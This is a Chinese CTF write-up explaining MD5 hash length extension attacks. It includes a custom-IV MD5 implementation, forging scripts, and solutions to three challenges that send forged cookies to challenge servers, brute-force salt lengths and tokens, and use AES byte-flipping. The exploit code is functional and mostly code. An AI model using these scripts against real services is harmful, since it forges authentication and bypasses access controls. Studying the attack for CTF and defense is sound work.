欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Hash length extension attacks 分析

程序员文章站 2022-06-06 17:44:13
...

最近突然想把以前做的哈希拓展长度攻击的原理给梳理一下,前一段时间梳理了 padding oracle attack的相关知识,打算从原理到题目都详细的讲一讲,使用条件比较苛刻需要攻击者明密文都可控,所以在平时这种漏洞很少见,后面主要介绍一下工具的使用方法以及,jarvis平台上的一道题目,以及2017年陕西省信息安全竞赛的最后一道题目admin

哈希拓展可以伪造任意一对明密文,前提是有一对明密文,且伪造的明文前512比特是固定的···

0x00 MD5加密原理

一些dalao的博客这一点已经说得很清楚了,例如 Assassin师傅的博文

0x1 字节填充

MD5在进行运算时,需要将bit位数填充到指定位数,使其长度在对 512bit 取模后的值为 448bit,留下的64bit用来填写未填充的明文长度

0x2 分组加密

把填充过的(注意如果明文大于512bit,将分成多个组进行加密)明文按512bit一组进行下述加密

Hash length extension attacks 分析

我们可以看到初始向量IV为128bit,每组加密过之后当做下一组的向量进行运算。最后输出的128bit就是md5值

0x3 实例演示

前面MD5的加密逻辑说得很清楚,这里利用一个实例模拟一下加密过程

加密数据 Value
十六进制 0x61646d696e
填充之后 0x61646d696e+0x80+50*0x00+0x28+0x00*7

首先字节填充,比特第一位补位1,其余位为0所以为0x80
后面全是0字节填充一直到448bit截止,剩下的8byte按照小端方式存储。admin占位5字节所以40bit=0x28bit。
这就是基本的MD5加密算法的流程,有没有看懂??如果看懂了有没有发现攻击者的可乘之机??

0x01 攻击原理

上篇稍微讲了一下,MD5加密的原理,这里主要讲解攻击方法
假设我们已经知道md5($secret+”admin”+”admin”)的值hash1
其实就是iv 与 $secret+”admin”+”admin”的填充值(这里填充了512bit)的hash值
现在假设我们有自己的hash算法可以构造任意的初始iv可以填充任意参与计算的明文
现在有以下结论
如果我要md5($secret+”admin”+”admin”+第一组MD5填充+padding)这里的第一组md5分组就是md5($secret+”admin”+”admin”)时的填充之后的512bit块
那么此值应该在逻辑上等于我利用hash1当做初始向量加密我构造的padding+填充字节(注意这里的填充是算上第一块的长度的即512bit)的第二块生成的md5值

简单的将就是

md5($secret+”admin”+”admin”+第一组MD5填充+padding)=(hash1)md5(padding+填充字节)

0x02 攻击脚本

这里引用别人写的脚本

0x1 md5 python 实现

可以自定义iv值

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
# theory reference:
#   blog:
#       http://blog.csdn.net/adidala/article/details/28677393
#       http://blog.csdn.net/forgotaboutgirl/article/details/7258109
#       http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
#   RFC1321:
#       https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys
def genMsgLengthDescriptor(msg_bitsLenth):
    '''
    ---args:
            msg_bitsLenth : the bits length of raw message
    --return:
            16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
    '''
    return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")

def reverse_hex_8bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 16 , i.e.8bytes
    --return:
            transform raw message descriptor to little-endian 
    '''
    hex_str = "%016x"%int(hex_str,16)
    assert len(hex_str)==16    
    return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")

def reverse_hex_4bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 8 , i.e.4bytes
    --return:
            transform 4 bytes message block to little-endian
    '''    
    hex_str = "%08x"%int(hex_str,16)
    assert len(hex_str)==8    
    return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")

def deal_rawInputMsg(input_msg):
    '''
    --args:
            input_msg : inputed a ascii-encoded string
    --return:
            a hex-encoded string which can be inputed to mathematical transformation function.
    '''
    ascii_list = [x.encode("hex") for x in input_msg]
    length_msg_bytes = len(ascii_list)
    length_msg_bits = len(ascii_list)*8
    #padding
    ascii_list.append('80')  
    while (len(ascii_list)*8+64)%512 != 0:  
        ascii_list.append('00')
    #add Descriptor
    ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
    return "".join(ascii_list)



def getM16(hex_str,operatingBlockNum):
    '''
    --args:
            hex_str : a hex-encoded string with length in integral multiple of 512bits
            operatingBlockNum : message block number which is being operated , greater than 1
    --return:
            M : result of splited 64bytes into 4*16 message blocks with little-endian

    '''
    M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
    return M

#定义函数,用来产生常数T[i],常数有可能超过32位,同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
    result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
    return result   

#定义每轮中用到的函数
#RL为循环左移,注意左移之后可能会超过32位,所以要和0xffffffff做与运算,确保结果为32位
F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))

def FF(a, b, c, d, x, s, ac):  
    a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def GG(a, b, c, d, x, s, ac):  
    a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def HH(a, b, c, d, x, s, ac):  
    a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a  
def II(a, b, c, d, x, s, ac):  
    a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;  
    a = RL ((a), (s))&0xffffffff;  
    a = (a+b)&0xffffffff  
    return a      

def show_md5(A,B,C,D):
    return "".join( [  "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D)  ]  )

def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""):

    a = A
    b = B
    c = C
    d = D

    for i in xrange(0,len(readyMsg)/128):
        M = getM16(readyMsg,i+1)
        for i in xrange(16):
            exec "M"+str(i)+"=M["+str(i)+"]"
        #First round
        a=FF(a,b,c,d,M0,7,0xd76aa478L)
        d=FF(d,a,b,c,M1,12,0xe8c7b756L)
        c=FF(c,d,a,b,M2,17,0x242070dbL)
        b=FF(b,c,d,a,M3,22,0xc1bdceeeL)
        a=FF(a,b,c,d,M4,7,0xf57c0fafL)
        d=FF(d,a,b,c,M5,12,0x4787c62aL)
        c=FF(c,d,a,b,M6,17,0xa8304613L)
        b=FF(b,c,d,a,M7,22,0xfd469501L)
        a=FF(a,b,c,d,M8,7,0x698098d8L)
        d=FF(d,a,b,c,M9,12,0x8b44f7afL)
        c=FF(c,d,a,b,M10,17,0xffff5bb1L)
        b=FF(b,c,d,a,M11,22,0x895cd7beL)
        a=FF(a,b,c,d,M12,7,0x6b901122L)
        d=FF(d,a,b,c,M13,12,0xfd987193L)
        c=FF(c,d,a,b,M14,17,0xa679438eL)
        b=FF(b,c,d,a,M15,22,0x49b40821L)
        #Second round
        a=GG(a,b,c,d,M1,5,0xf61e2562L)
        d=GG(d,a,b,c,M6,9,0xc040b340L)
        c=GG(c,d,a,b,M11,14,0x265e5a51L)
        b=GG(b,c,d,a,M0,20,0xe9b6c7aaL)
        a=GG(a,b,c,d,M5,5,0xd62f105dL)
        d=GG(d,a,b,c,M10,9,0x02441453L)
        c=GG(c,d,a,b,M15,14,0xd8a1e681L)
        b=GG(b,c,d,a,M4,20,0xe7d3fbc8L)
        a=GG(a,b,c,d,M9,5,0x21e1cde6L)
        d=GG(d,a,b,c,M14,9,0xc33707d6L)
        c=GG(c,d,a,b,M3,14,0xf4d50d87L)
        b=GG(b,c,d,a,M8,20,0x455a14edL)
        a=GG(a,b,c,d,M13,5,0xa9e3e905L)
        d=GG(d,a,b,c,M2,9,0xfcefa3f8L)
        c=GG(c,d,a,b,M7,14,0x676f02d9L)
        b=GG(b,c,d,a,M12,20,0x8d2a4c8aL)
        #Third round
        a=HH(a,b,c,d,M5,4,0xfffa3942L)
        d=HH(d,a,b,c,M8,11,0x8771f681L)
        c=HH(c,d,a,b,M11,16,0x6d9d6122L)
        b=HH(b,c,d,a,M14,23,0xfde5380c)
        a=HH(a,b,c,d,M1,4,0xa4beea44L)
        d=HH(d,a,b,c,M4,11,0x4bdecfa9L)
        c=HH(c,d,a,b,M7,16,0xf6bb4b60L)
        b=HH(b,c,d,a,M10,23,0xbebfbc70L)
        a=HH(a,b,c,d,M13,4,0x289b7ec6L)
        d=HH(d,a,b,c,M0,11,0xeaa127faL)
        c=HH(c,d,a,b,M3,16,0xd4ef3085L)
        b=HH(b,c,d,a,M6,23,0x04881d05L)
        a=HH(a,b,c,d,M9,4,0xd9d4d039L)
        d=HH(d,a,b,c,M12,11,0xe6db99e5L)
        c=HH(c,d,a,b,M15,16,0x1fa27cf8L)
        b=HH(b,c,d,a,M2,23,0xc4ac5665L)
        #Fourth round
        a=II(a,b,c,d,M0,6,0xf4292244L)
        d=II(d,a,b,c,M7,10,0x432aff97L)
        c=II(c,d,a,b,M14,15,0xab9423a7L)
        b=II(b,c,d,a,M5,21,0xfc93a039L)
        a=II(a,b,c,d,M12,6,0x655b59c3L)
        d=II(d,a,b,c,M3,10,0x8f0ccc92L)
        c=II(c,d,a,b,M10,15,0xffeff47dL)
        b=II(b,c,d,a,M1,21,0x85845dd1L)
        a=II(a,b,c,d,M8,6,0x6fa87e4fL)
        d=II(d,a,b,c,M15,10,0xfe2ce6e0L)
        c=II(c,d,a,b,M6,15,0xa3014314L)
        b=II(b,c,d,a,M13,21,0x4e0811a1L)
        a=II(a,b,c,d,M4,6,0xf7537e82L)
        d=II(d,a,b,c,M11,10,0xbd3af235L)
        c=II(c,d,a,b,M2,15,0x2ad7d2bbL)
        b=II(b,c,d,a,M9,21,0xeb86d391L)


        A += a
        B += b
        C += c
        D += d

        A = A&0xffffffff
        B = B&0xffffffff
        C = C&0xffffffff
        D = D&0xffffffff

        a = A
        b = B
        c = C
        d = D

    return show_md5(a,b,c,d)

0x2 计算脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
import my_md5
import hashlib
import urllib
import binascii
import re
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
#reference:
#   http://www.freebuf.com/articles/web/69264.html
#problem link:
#   http://ctf4.shiyanbar.com/web/kzhan.php
samplehash="ec82a52bac65135157dfa73daa3548b1"

'''
res = re.findall('.{8}',samplehash)
print res 

s = '03194d72'
print c
s1 = ""
print s1.join([s[i-2]+s[i-1] for i in xrange(len(s),0,-2)])
'''
s =[]
res = re.findall('.{8}',samplehash)
print res 
for i in res:
    ss = ""

    ss = ss.join([i[j-2]+i[j-1] for j in xrange(len(i),0,-2)])

    s.append(bytes_to_long(binascii.a2b_hex(ss)))
print [hex(i) for i in s]
# 084e0343 a0486ff0 5530df6c 705c8bb4
#将哈希值分为四段,并反转该四字节为小端序,作为64第二次循环的输入幻书

s1=s[0]
s2=s[1]
s3=s[2]
s4=s[3]
#exp
secret = "a"*15
secret_admin="xxxxxguest"+'\x80'+'\x00'*45+'\x50'+'\x00'*7+"admin"
r = my_md5.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]      #我们需要截断的地方,也是我们需要控制的地方
#print r
#print inp
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)
print "getmein:"+hashlib.md5(secret_admin).hexdigest()

0x03 实例演示

0x1 简单实例

<?php 
$SECRET="xxxxx";
$auth = "guest";
if (isset($_COOKIE["auth"])) {
    $hsh = $_COOKIE["hsh"];
    if ($hsh === md5($SECRET . $_COOKIE["auth"])) {
        die("flag{I_L0vE_L0li}");
    }
} else {
    setcookie("auth", $auth);
    setcookie("hsh", md5($SECRET.$auth));
}
?>

Hash length extension attacks 分析

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
import my_md5
import hashlib
import urllib
import binascii
import re
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
#reference:
#   http://www.freebuf.com/articles/web/69264.html
#problem link:
#   http://ctf4.shiyanbar.com/web/kzhan.php
samplehash="06be518adbb45a90440c98bb364d4cf8"

'''
res = re.findall('.{8}',samplehash)
print res 

s = '03194d72'
print c
s1 = ""
print s1.join([s[i-2]+s[i-1] for i in xrange(len(s),0,-2)])
'''
s =[]
res = re.findall('.{8}',samplehash)
print res 
for i in res:
    ss = ""

    ss = ss.join([i[j-2]+i[j-1] for j in xrange(len(i),0,-2)])

    s.append(bytes_to_long(binascii.a2b_hex(ss)))
print [hex(i) for i in s]
# 084e0343 a0486ff0 5530df6c 705c8bb4
#将哈希值分为四段,并反转该四字节为小端序,作为64第二次循环的输入幻书

s1=s[0]
s2=s[1]
s3=s[2]
s4=s[3]
#exp
secret = "a"*15
secret_admin="yyyyyyyyzzzzzzzadminadmin"+'\x80'+'\x00'*30+'\xc8'+'\x00'*7+"admin"
r = my_md5.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]      #我们需要截断的地方,也是我们需要控制的地方
#print r
#print inp
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)
print "getmein:"+hashlib.md5(secret_admin).hexdigest()

Hash length extension attacks 分析
自己写个访问脚本就可以获取flag

import requests
se = requests.session()
cookies = {
    'hsh':'9b012140133ad92facec4f297bcd2d92',
    'auth':"admin"+'\x80'+'\x00'*30+'\xc8'+'\x00'*7+"admin"
}
re = se.post(url="http://45.78.29.252/hash.php",cookies=cookies)
print re.content

当然也可以直接用burp

Hash length extension attacks 分析

0x2 jarvisoj flag在管理员手里

首先我介绍一个开源工具hash_extender
具体的使用方法我这里就不在介绍了 主要介绍一下使用参数

-d 被扩展的明文
-a 附加的到原来hash的padding
-l 盐的长度
-f 加密方式
-s 带盐加密的hash值
--out-data-format 输出格式
--quiet 仅输出必要的值

题目中有备份文件泄露所以
利用vim恢复一下方法是,首先重命名为.index.php.swp,接着利用vim -r index.php即可恢复
源码如下

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
    body {
        background:gray;
        text-align:center;
    }
</style>
</head>

<body>
    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>

</body>
</html>

方法一 利用hash_extender

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
        #print x
        #print y
    url = "http://120.26.131.152:32778/"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.phrack.top:32785',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body

for i in xrange(1000):
    print i
    #secret len = ???
    find_hash = "../hash_extender/hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    print calc_res
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break


方法二 利用上述脚本

只需简单的更改第二个脚本就好

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
import test1
import hashlib
import urllib
import binascii
import re
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
#reference:
#   http://www.freebuf.com/articles/web/69264.html
#problem link:
#   http://ctf4.shiyanbar.com/web/kzhan.php
samplehash="3a4727d57463f122833d9e732f94e4e0"

'''
res = re.findall('.{8}',samplehash)
print res 

s = '03194d72'
print c
s1 = ""
print s1.join([s[i-2]+s[i-1] for i in xrange(len(s),0,-2)])
'''
s =[]
res = re.findall('.{8}',samplehash)
print res 
for i in res:
    ss = ""

    ss = ss.join([i[j-2]+i[j-1] for j in xrange(len(i),0,-2)])

    s.append(bytes_to_long(binascii.a2b_hex(ss)))
print [hex(i) for i in s]
# 084e0343 a0486ff0 5530df6c 705c8bb4
#将哈希值分为四段,并反转该四字节为小端序,作为64第二次循环的输入幻书

s1=s[0]
s2=s[1]
s3=s[2]
s4=s[3]
#exp

secret_admin='xxxxxxxxxxxx;"tseug":5:s'+'\x80'+'\x00'*31+'\x18'+'\x00'*7+';"nimda":5:s'
r = test1.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]      #我们需要截断的地方,也是我们需要控制的地方
#print r;"tseug":5:s
#print inp
print "getmein:"+test1.run_md5(s1,s2,s3,s4,inp)
print "getmein:"+hashlib.md5(secret_admin).hexdigest()

代码中的xxxxx就是salt 但是首先我们要猜测长度 所以可以利用脚本写一个简单的**

0x3 admin

这道题目也是不错的考察了,hash扩展攻击技巧以及aes的相关加密方式

题目我已经上传到github上面了链接

主要还是代码审计

step 1 初步审计

  1. 访问backup_old.php会生成flag的加密内容
  2. index.php提供注册登录解密等功能
  3. 要想实现解密必须是的admin的值为1

step 2 直接解密(解法一)

这里需要注意一下aes加密解密,是要16字节填充的。所以要控制一下用户名长度

我们注册
username = xxxxxxxadmin|1|501530457b49501056d8f994d12252ca
就会得到加密的内容我们取前96位,因为明文已知所以最后一位字节翻转

import binascii
s = '7bbb9e011044a910a7c78694894637b75baf41106081282d35d171253cadcbbf24498a58a9ac5e5bdba9ed1c3f3badf6e5844ea87f28680454a847808321da8ce581b67e0c24bc6cab79cf8c9ce16074ae8a01456f3921f8a4bd654ceaf9da51'
string = s[0:96]
last_8 = binascii.a2b_hex(string[-2:])
print len(last_8)
plain = '|'
mid = ''.join([chr(ord(last_8[i])^ord(plain[i])) for i in range(1)])
final = ''.join([chr(ord(mid[i])^ord('\x01')) for i in range(1)])
print string[:-2]+binascii.b2a_hex(final)

token=
login=501530457b49501056d8f994d12252ca

step 3 利用hash拓展攻击(没有必要)

贴上脚本,hash生成还是以前的脚本

#coding:utf-8
import requests
import time
import re
url_register = 'http://127.0.0.1/var/index.php?action=register'
url_login = 'http://127.0.0.1/var/index.php?action=login'
url_manage = 'http://127.0.0.1/var/index.php?action=manage'
url_back = 'http://127.0.0.1/var/backup_old.php'
re1 = requests.session()
def register(name,passwd):
    data = {
    'user':name,
    'pwd':passwd
    }
    re1.post(url_register,data=data)

# login('kk','kk')
def login(name,passwd):
    data = {
    'user':name,
    'pwd':passwd
    }
    s = re1.post(url_login,data=data,allow_redirects=False)
    # print s.content
    return  s.cookies

token_fl = ''
def attack(token,sign):
    global token_fl

    cookies ={
    'sign':sign,
    'token':token,
    }

    s = re1.post(url_manage,data={'do':'decrypt'},cookies=cookies)
    if 'Password' not in s.content:
        token_fl = token


def test(token,sign):
    re1.post(url_back)
    srand = int(time.time())
    r = re1.post('http://127.0.0.1/var/backup.txt')
    encrypt = r.content
    r = re1.post('http://127.0.0.1/2.php',data={'a':srand})
    st = r.content
    string = ''.join([hex(ord(i))[2:] for i in st])
    print st,string
    cookies ={
    'sign':sign,
    'token':token,
    }
    s = re1.post(url_manage,data={'do':'decrypt','iv':string,'text':encrypt},cookies=cookies)
    print s.content
    r = re.findall('(.{32,32})<br />',s.content)
    print ''.join([chr(int('0x'+r[0][i]+r[0][i+1],16)) for i in range(0,len(r[0]),2)])

hash_ex = 'e825bd41831d87fa7e8b84b5e6614ce5'
name = 'admin'+'\x80'+'\x00'*40+'\x78'+'\x00'*7+'tadmin'+'|1|'+hash_ex


passwd = '33'
# register(name,passwd)
rs = login(name,passwd)
print rs['sign'],len(rs['token'][:190])
# print rs['token'][:190]
dic = []
s = '0987654321abcdef'
for i in s:
    for j in s:
        dic.append(i+j)


for i in dic:
    attack(rs['token'][:190]+i,hash_ex)

# print token_fl
test(token_fl,hash_ex)